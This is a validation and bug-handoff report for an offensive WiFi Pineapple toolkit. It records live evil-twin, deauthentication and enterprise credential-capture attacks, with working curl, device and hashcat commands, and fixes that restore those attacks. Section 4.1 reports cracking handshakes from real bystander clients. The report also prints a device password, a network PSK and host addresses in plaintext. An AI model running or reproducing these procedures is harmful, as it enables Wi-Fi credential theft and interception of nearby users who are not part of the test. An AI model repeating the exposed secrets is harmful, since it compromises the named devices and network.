Mark-VIII/docs/validation/2026-08-23-pineap-validation-report.md

Mark-VIII PineAP Attack Validation — 2026-08-23

Fix round 2026-08-23 (post-validation) — status update

All defects below were fixed and re-validated live on the same hardware.

• BUG 1 — FIXED. DEAUTH_CLIENT → PINEAPPLE_DEAUTH_CLIENT at both call sites. Live: /api/attacks/deauth and /api/pineap/clients/kick return ok:true; on-wire effect confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after filter clear).
• BUG 2 — FIXED. _allow_all_ssids() now issues PINEAPPLE_NETWORK_FILTER_MODE deny. Live: after any deploy, GET /api/pineap/filters/ssid reads deny + empty without manual help, and clients associate to twins unaided.
• BUG 3 — FIXED (root cause found by live experiment). Two independent causes:
  1. eap_user_file grammar. hostapd_get_eap_user() never wildcard-matches a bare * identity for phase-2 lookups (!phase2 guard); phase-2 entries need a quoted identity. The fix uses quoted empty prefix ""* <methods> "<pw>" [2], which prefix-matches any inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then live on the Pager.
  2. pineapd.@hostapd[0].pineape_auth_pass='1' makes the karma hostapd forward inner EAP to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after the TLS tunnel. Deploy now forces it to 0 (standalone hostapd terminates inner MSCHAPv2/GTC/PAP itself); stop restores 1. Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full CTRL-EVENT-CONNECTED (EAP success + 4-way) on firmware wpad 2.12-devel.
• BUG 3 residual (firmware-blocked): plaintext credential capture is not possible on 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2 hexdumps anywhere), -f <log> is silently ignored (fd1→/dev/null), and passthrough mode cannot work without an upstream RADIUS backend. With auth_pass=0 nothing feeds hostap_basic/hostap_chalresp. Phase-1 outer identities remain sniffable in plaintext via the capture API. This limitation is documented in code comments.
• Secondary -f bug — FIXED: _start_ent_hostapd no longer passes -f at all.
• ISSUE 4 — FIXED: 5 GHz WPA deploys now set pineapd.@hostapd[0].mgmtiface=wlan1wpa so pineapd recognizes the radio1 twin (same mechanism that populates hostap_client); cleared again on stop.
• ISSUE 5 — MITIGATED: radio0 daemon set_ap path now polls up to 90 s across the wifi reload window and retries set_ap once if the iface still hasn't appeared. Live deploy verified true first try.
• ISSUE 6 — FIXED: skill docs now use llc && eth.type == 0x888e instead of eapol.
• ISSUE 7 — FIXED: capture state helper detects dead-pid / iface-down, kills leftovers, cleans the pidfile, and status reports {running:false, stale:true} instead of a zombie running:true. Verified live by killing tcpdump under an active capture.
• Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global os.path monkeypatch leaks between test modules — also fixed). New regression coverage: deauth app name, SSID-filter-mode app name, eap_users grammar, pineape_auth_pass set/restore, capture stale detection, radio0 set_ap retry.
• New firmware quirks discovered while fixing (document here for future rounds):
  • PINEAPPLE_DEVICE_FILTER_DELETE deny <mac> returns rc=0 but does NOT remove the entry; only _CLEAR works. The kick regression "delete entry → re-associate" must use clear.
  • dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
  • Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.

---

Status: Suite executed against a live WiFi Pineapple Pager (firmware Pineapple Pager 24.10.1, hostname-reachable at root@172.16.52.1, Mark VIII UI on :8080) with a Kali victim client (bzuccaro@192.168.1.103, wlan0 a0:a4:c5:93:f8:05). Both reachable with password "Bryce9205"

Purpose of this document: hand off every validated behavior and every defect to a fixing model. Each defect has an exact file:line, reproduction, root cause, and recommended fix. Everything below was observed live; no assertion is speculative. Device evidence lives under /root/loot/** on the pineapple and /tmp/znet*.hc22000 on Kali.

In-scope networks (authorized):

• Znet — WPA2 (actually SAE-mixed per on-air RSN: [WPA2-SAE+FT/SAE-CCMP][SAE-H2E]), 5 GHz BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY.
• Znet-Open — open (enc 0 in recon DB), 2.4 GHz ch 6 (B6:8B:A9:17:2A:6E) and ch 11 (B6:8B:A9:17:47:33).

---

1. Results summary

#	Attack / capability	Result	Evidence
1	Evil WPA (PSK) 5 GHz — radio1 wlan1wpa	PASS	Twin authenticated Kali + 2 real clients; 4-way captured on wlan1mon; .hc22000 cracked → PSK recovered.
2	Evil WPA (PSK) 2.4 GHz — radio0 wlan0wpa	PASS (flaky deploy)	4-way captured on wlan0mon; cracked → PSK recovered.
3	Evil Open — radio0 wlan0open (BSSID-spoofed)	PASS	Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on wlan0mon.
4	Evil Enterprise — standalone wlan1ent PineAPE	FAIL	AP + TLS tunnel work; inner EAP auth never completes; zero credentials captured.
5	Deauth — /api/attacks/deauth, /api/pineap/deauth/client	FAIL (bug)	unknown app DEAUTH_CLIENT. Underlying PINEAPPLE_DEAUTH_CLIENT works (on-wire deauth frames).
6	Client kick — /api/pineap/clients/kick	FAIL (same bug)	Deny filter set, but deauth half fails → client never actually kicked.
7	Attack capture API (/api/attacks/capture)	PASS	tcpdump start/stop/status on wlan0mon/wlan1mon; pcaps analyzable.
8	Handshake export (/api/attacks/export/hc22000)	PASS	Valid .hc22000; cracked with hashcat -m 22000.
9	PineAP settings / filters API	PASS	mode/add/delete/clear; gotcha: allow+empty blocks karma association.
10	MCP harness (POST /mcp)	PASS	all tools; attack.deauth inherits bug #5.
11	Web UI click-through	PASS	login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop.

Two critical defects to fix first: #5 (deauth/kick, one-character-class bug) and #6's hidden twin #2 (_allow_all_ssids short-name bug that blocks all evil-twin association until a human sets the filter to deny). See §3.

---

2. Environment notes (facts the fixer needs)

2.1 hak5cmd dispatches by FULL app name as argv[1]

/usr/bin/hak5cmd (Pager 1.1.0) is dispatched by app name. Invoking the symlinks (/usr/bin/PINEAPPLE_DEAUTH_CLIENT) or passing the full PINEAPPLE_* name as argv[1] both work:

hak5cmd DEAUTH_CLIENT <ap> <client> <ch>          # FAILS: "unknown app DEAUTH_CLIENT"
hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0

Verified app names present on the unit (from hak5cmd with no args): PINEAPPLE_DEAUTH_CLIENT, PINEAPPLE_DEVICE_FILTER_*, PINEAPPLE_MAC_FILTER_*, PINEAPPLE_NETWORK_FILTER_*, PINEAPPLE_SSID_FILTER_*, PINEAPPLE_SSID_POOL_*, PINEAPPLE_HOPPING_*, PINEAPPLE_MIMIC_*, PINEAPPLE_EXAMINE_*, PINEAPPLE_RECON_*, PINEAPPLE_SET_BANDS, PINEAPPLE_LOOT_ARCHIVE.

The hak5() helper (server.py:5646) passes [HAK5CMD] + args and the filter calls in the codebase use full names (those work). The deauth and _allow_all_ssids calls use short names (broken).

2.2 SSID / client filter semantics on this firmware

• Filter mode allow = whitelist. With an empty list this makes karma respond to nothing, so clients cannot associate to evil twins.
• Filter mode deny = blacklist (allow-by-default). With an empty list everything is allowed.
• The evil-twin flow requires both SSID and client filters in deny mode with empty lists.
• Mark VIII's _allow_all_ssids() is supposed to set the SSID filter to deny but is broken (bug #2).

2.3 Deauth injection phy

h_attacks_deauth chooses the inject interface from the channel band (wlan1mon for 5/6 GHz, wlan0mon for 2.4 GHz) and switches _pineap INTERFACE INJECT for 2.4 GHz. On 5 GHz the phy is pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor (wlan1mon) does not reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so on-wire deauth proof for 5 GHz is best done on 2.4 GHz (wlan0mon) where own-TX is visible, or via client-side disconnect logs.

2.4 Capture filter quirk

On this firmware's monitor interfaces tcpdump -r cap 'eapol' matches 0 frames even when EAPOL is present. The working filter is llc and ether proto 0x888e. (Affects any analysis/tooling that grep's eapol.)

2.5 pineapd UCI baseline (guard-enforced known-good)

pineapd.@hostapd[0].wpaiface='wlan0wpa' (only the 2.4 GHz WPA iface is the daemon's "own AP"). mgmtiface='wlan0mgmt'. wlan1mon.hop baseline is 0 in the guard set (PINEAPD_SAFE_UCI, server.py:4639); monitors park between scans, hopping resumes during recon.

2.6 Reliability core interactions observed

The rollback watchdog arms around attack_deploy / attack_stop and restores the pre-op UCI snapshot if local liveness (UI :8080 + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles that drop the radios trigger restores that can resurrect older AP states (the wlan0open Znet-Open twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.

---

3. Defects to fix (ranked)

BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name

Impact: /api/attacks/deauth, /api/pineap/deauth/client, /api/pineap/clients/kick (deauth half), and MCP attack.deauth / pineap.kick_client all fail with unknown app DEAUTH_CLIENT. The entire deauth attack is non-functional through Mark VIII.

Locations (all in payload/user/remote_access/pager-webui/server.py):

• server.py:3009 — _deauth_client_via_iface()

  rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)
  

• server.py:4602 — h_attacks_deauth()

  rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)
  

• h_client_kick (server.py:963) and MCP kick (server.py:5368) both call _deauth_client_via_iface, so fixing 3009 fixes them. Their filter half (PINEAPPLE_DEVICE_FILTER_*) is already correct.

Root cause: short name DEAUTH_CLIENT; hak5cmd requires the full app name PINEAPPLE_DEAUTH_CLIENT (see §2.1). HAK5CMD defaults to /usr/bin/hak5cmd (server.py:31).

Fix: replace 'DEAUTH_CLIENT' with 'PINEAPPLE_DEAUTH_CLIENT' at server.py:3009 and :4602.

Verification (live-proven):

# before fix
curl -b cookie -H 'Content-Type: application/json' \
  -d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
  http://172.16.52.1:8080/api/attacks/deauth
# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}

# working device-level invocation (deauth client from our own evil twin):
/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6   # rc=0
# on-wire proof on wlan0mon:
tcpdump -r cap -nn 'wlan type mgt subtype deauth'   # SA=spoofed BSSID, DA=client

Regression check: run /api/pineap/clients/kick on an associated client and confirm it is disconnected AND stays disconnected while the deny filter is present; then delete the filter entry and confirm re-association works.

---

BUG 2 — CRITICAL: _allow_all_ssids() uses a short name and silently fails

Impact: after every evil-twin deploy, karma remains in allow (whitelist) mode → no client can associate to the twin. This is why the Evil Open association only worked after a human set the filter to deny via the API.

Location: server.py:3691-3695

def _allow_all_ssids():
    """Set the SSID filter to deny mode (allow-by-default) so karma
    responds to any probed SSID."""
    rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
    return rc == 0

SSID_FILTER_MODE is a short name. The valid app names on this unit are PINEAPPLE_SSID_FILTER_MODE and PINEAPPLE_NETWORK_FILTER_MODE. The return value is ignored by all callers (_deploy_wpa_open at :3774, _deploy_enterprise at :4277), so it fails silently.

Fix: use a full app name. Consistency check: the filter API for ssid kind uses prefix PINEAPPLE_NETWORK_FILTER (server.py:5722), and the deployed pineapd.@ssid_filter[0].mode is deny in the guard baseline — but the live daemon readback was allow after deploy, proving the call did not land. Verify on-device that the chosen name flips GET /api/pineap/filters/ssid to {"mode":"deny"}.

Verification:

curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid   # must show "deny" after a deploy

---

BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)

Impact: the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every inner method (MSCHAPv2, GTC, TTLS-PAP). Zero credentials land in hostap_basic, hostap_chalresp, or /root/loot/enterprise/captures.json.

Locations:

• _eap_users_text — server.py:3836-3853 (writes the eap_user_file)
• _deploy_enterprise — server.py:4217-4325
• _ent_conf_text — server.py:4102
• _start_ent_hostapd — server.py:4173-4202
• _ensure_ent_certs — server.py:3875

Observed behavior (reproducible):

• Deploy succeeds (verified: true, ctrl_linked: true, hostapd state=ENABLED on wlan1ent, bssid 02:13:37:ae:8e:7c, ch44, ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP).
• Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel completes; the client then sees EAP-PEAP: Phase 2 Failure / EAP-Failure.
• hostapd (karma-patched wpad, v2.12-devel) logs:

  IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
  IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
  

• eap_user_file parser on this build requires quoted identities for non-wildcard entries: unquoted victim@znet.local → Invalid EAP identity (no " in start) on line 1.

eap_users formats tried, all failing identically:

1. * PEAP,TTLS + * MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2] (what the code writes today)
2. * PEAP,TTLS + * MSCHAPV2 "pw" (no [2])
3. * PEAP,TTLS + * MSCHAPV2 "pw" [2]
4. "*" PEAP,TTLS + "*" MSCHAPV2 "pw" [2] (quoted wildcards)
5. victim@znet.local PEAP,TTLS + victim@znet.local MSCHAPV2 "pw" (unquoted → parse error)
6. "victim@znet.local" PEAP,TTLS + "victim@znet.local" MSCHAPV2 "pw" (quoted exact)
7. * PEAP,TTLS + * TTLS-PAP "pw" (client eap=TTLS phase2="auth=PAP") — also fails
8. Passphrase matched (VictimPass123!) and mismatched (dummy) — no difference

Fixer investigation pointers (open questions):

• Verify whether pineap_enable / pineape_enable / pineape_auth_enable on the standalone instance actually arm PineAPE auth-capture on this build (they return OK, and the startup log shows PINEAP: setting MAC filter mode DENY, but no capture events ever appear).
• Confirm the correct eap_user_file grammar for THIS wpad build (source of the [2] flag and whether a phase-2-only entry is required for the inner lookup).
• Test with a controlled EAP client (eapol_test from a host with wpa_supplicant dev headers) and with syslog logger_syslog_level=0 on the instance to see why the inner method is never offered.
• Compare the Mark VIII standalone conf to what the stock daemon would generate for set_ap enctype wpa2 (the daemon path is broken with eap_server_erp=1; confirm whether removing just that key makes the stock path capture).
• hostap_basic / hostap_chalresp are populated by pineapd from the karma hostapd socket; confirm pineapd.@hostapd[0].mgmtiface='wlan1ent' is sufficient (it is set and survives), and whether /etc/init.d/pineapd reload after deploy is enough.

Verification: with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete EAPOL successfully, and (b) yield rows in hostap_basic (identity) and hostap_chalresp (challenge/response), which must appear in GET /api/pineap/enterprise/radius and be crackable via GET /api/pineap/enterprise/export/hashcat (hashcat -m 5500).

Secondary bug found while here: _start_ent_hostapd (server.py:4173) starts hostapd with -f ENT_LOG on the first attempt but drops -f on the fallback attempt (server.py:4183), so the enterprise log file stays empty — the fixer will need another log channel (syslog) while debugging.

---

ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (hostap_handshake / /root/loot/handshakes) never populates

Symptom: handshakes complete on the radio1 twin (wlan1wpa) — hostapd logs EAPOL-4WAY-HS-COMPLETED <client> — but hostap_handshake stays empty and no files are written to /root/loot/handshakes. The Handshakes/Loot UI shows 0.

Likely root cause: pineapd.@hostapd[0].wpaiface='wlan0wpa' only (2.4 GHz). pineapd treats wlan0wpa as its own handshake-logging AP; the radio1 wlan1wpa twin (created via the UCI/radio1 path, _apply_radio1_ap) is not recognized, so pineapd never logs own-AP handshakes for it.

Working path (validated end-to-end): the monitor capture API + export:

1. POST /api/attacks/capture {iface:wlan1mon, action:start} before the client connects.
2. Client 4-way happens → the pcap contains EAPOL (tcpdump -r cap 'llc and ether proto 0x888e').
3. GET /api/attacks/export/hc22000 → hcxpcapngtool → .hc22000 → hashcat -m 22000 cracks it.

Fixer options: either teach the deploy to make pineapd recognize the radio1 WPA iface (careful: wpaiface is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's "Handshakes Captured" counter reads hostap_handshake and will show 0 for 5 GHz until this is fixed.

---

ISSUE 5 — MEDIUM: 2.4 GHz (radio0 daemon set_ap) attack deploy is flaky

Symptom: _deploy_wpa_open 2.4 GHz path (server.py:3725-3753) calls the daemon PUT /api/settings/wifi/set_ap for wlan0wpa/wlan0open. The resulting wifi reload drops the radios for ~40–60 s (during which iw dev can show zero interfaces and the deploy poll may return verified: false). Afterwards:

• the stock daemon can revert the UCI (wlan0wpa.ssid back to pager-wpa, disabled=1), and
• the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped AP, e.g. the wlan0open Znet-Open twin reappeared twice).

Workarounds that made it work: deploy once → poll iw dev wlan0wpa info until ssid Znet → start a fresh capture (the old one died when the radios dropped) → connect the client. The handshake then captures and cracks normally.

Fixer pointers: make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path already behaves better); consider whether the radio0 path should write UCI + wifi reload instead of the daemon set_ap, and whether the watchdog should be suppressed until the radios reconverge.

---

ISSUE 6 — LOW: tcpdump eapol filter matches nothing on this firmware

Use llc and ether proto 0x888e instead. Relevant to any in-app capture analysis, docs, or tooling that filters on eapol.

ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture

When a wifi reload drops the monitor iface during a capture, the pcap ends up with 1 frame while the API still reports running: true (the tcpdump process is gone). The capture API should detect iface-down / dead-pid and either restart or report stopped.

---

4. Per-attack validation evidence (for the report)

4.1 Evil WPA 5 GHz — PASS (crackable)

• Deploy: POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44} → {"iface":"wlan1wpa","band":"5","verified":true}.
• AP live: wlan1wpa BSSID 02:13:37:ae:8e:7c, hostapd wpa=2 key_mgmt=WPA-PSK.
• Client auth: wpa_supplicant completed full 4-way (Key negotiation completed, PTK=CCMP GTK=CCMP); hostapd logged EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05; a real nearby client (e6:75:7f:45:fd:57) also got caught (full handshake) and another (68:9e:19:d1:6e:e1) hit a PSK mismatch (evidence the twin attracts real clients).
• Capture: wlan1mon pcap held 170 EAPOL key frames.
• Convert: hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap.
• Crack (on Kali): hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable

  9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
  329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
  

  Both our client and the real client's handshakes cracked to the real PSK.

4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)

• Deploy channel:6 → wlan0wpa (daemon set_ap). First two attempts verified:false and reverted by the daemon/watchdog; final attempt verified:true. Fresh wlan0mon capture, client connected, 4-way captured (EAPOL key v1/v2), hostapd EAPOL-4WAY-HS-COMPLETED.
• Crack: 8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY.

4.3 Evil Open (Znet-Open) — PASS

• Deploy {"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"} → wlan0open live with spoofed BSSID b6:8b:a9:17:2a:6e (= real AP MAC), hostapd ENABLED.
• Association initially FAILED until the SSID/client filters were set to deny via the API — this is bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the spoofed BSSID; /api/pineap/clients shows A0:A4:C5:93:F8:05 on wlan0open).
• Data plane through the twin (client IP 172.16.52.99/24 on the twin):
  • ping 172.16.52.1 → 4/4 replies
  • DNS 172.16.52.99 > 172.16.52.1.53 query + NXDOMAIN reply
  • TCP SYN 172.16.52.99 -> 172.16.52.1.80 All captured on wlan0mon (attack_wlan0mon_1787506980.cap). This is the on-wire MITM proof.

4.4 Evil Enterprise — FAIL (see BUG 3)

• AP verified, ctrl linked, client association recorded in hostap_client (visible in /api/pineap/enterprise/radius clients), but zero credentials anywhere.

4.5 Deauth / kick — FAIL via API (BUG 1), working at device level

• Device-level (works): /usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>; on-wire deauth frames (SA=spoofed BSSID, "Unspecified reason") captured on wlan0mon; client dropped.
• API (broken): see BUG 1.
• Kick: deny filter is applied (/api/pineap/filters/client shows the MAC) but the deauth half fails, so the client re-associates and is never kicked.

4.6 Capture / export / filters / MCP / UI — PASS

• Capture API start/stop/status both ifaces; export produced /root/loot/hc22000/handshakes_*.hc22000; filter set_mode/add/delete/clear; MCP tools/list + attack.deploy|stop|status|capture, loot.handshakes, loot.enterprise_creds, recon.isearch; UI full flow on the Evil WPA page.

---

5. Recovery & hygiene observed during the suite

• Reboot was required once: after _disable_enterprise_ap() raced our manual hostapd kills, the enterprise hostapd (hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf) entered D-state (uninterruptible) holding a cfg80211 lock; iw dev hung indefinitely. reboot cleared it; Mark VIII auto-restarted (/etc/init.d/pagerwebui → running), pineapd PONG, monitors up, health pass. mk8-guard re-applied safe UCI on boot.
• Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog self-exiting, Kali restored to Znet, /api/health env pass.
• Evidence remains on devices: /root/loot/pcap/attack_*.cap (6 files), /root/loot/hc22000/ (znet.hc22000, znet24.hc22000, handshakes_*.hc22000), extracted /root/loot/pcap/hs_client.cap, hs_client_24.cap; on Kali /tmp/znet.hc22000, /tmp/znet24.hc22000.

---

6. Reproduction command reference

# login
curl -c cj -H 'Content-Type: application/json' \
  -d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login

# deploy evil wpa 5g / 2.4g / open / enterprise
curl -b cj -H 'Content-Type: application/json' \
  -d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
  http://172.16.52.1:8080/api/attacks/deploy

# status / stop / capture / export
curl -b cj http://172.16.52.1:8080/api/attacks/status
curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000

# filter checks (must be "deny" + empty for evil twins)
curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client

# device-level deauth (works) vs API (broken)
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
curl -b cj -H 'Content-Type: application/json' \
  -d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth

# crack
hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable

---

7. Suggested fix order

1. BUG 1 (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
2. BUG 2 (_allow_all_ssids app name) — restores evil-twin association for all attack types.
3. BUG 3 (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
4. ISSUE 4 (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
5. ISSUE 5 (radio0 deploy flakiness) + ISSUE 6/7 (capture nits) — hardening.

Add regression coverage to tests/test_attacks.py (assert PINEAPPLE_DEAUTH_CLIENT is used) and to tests/test_pineap_*.py for the filter-mode assertion (deny-after-deploy).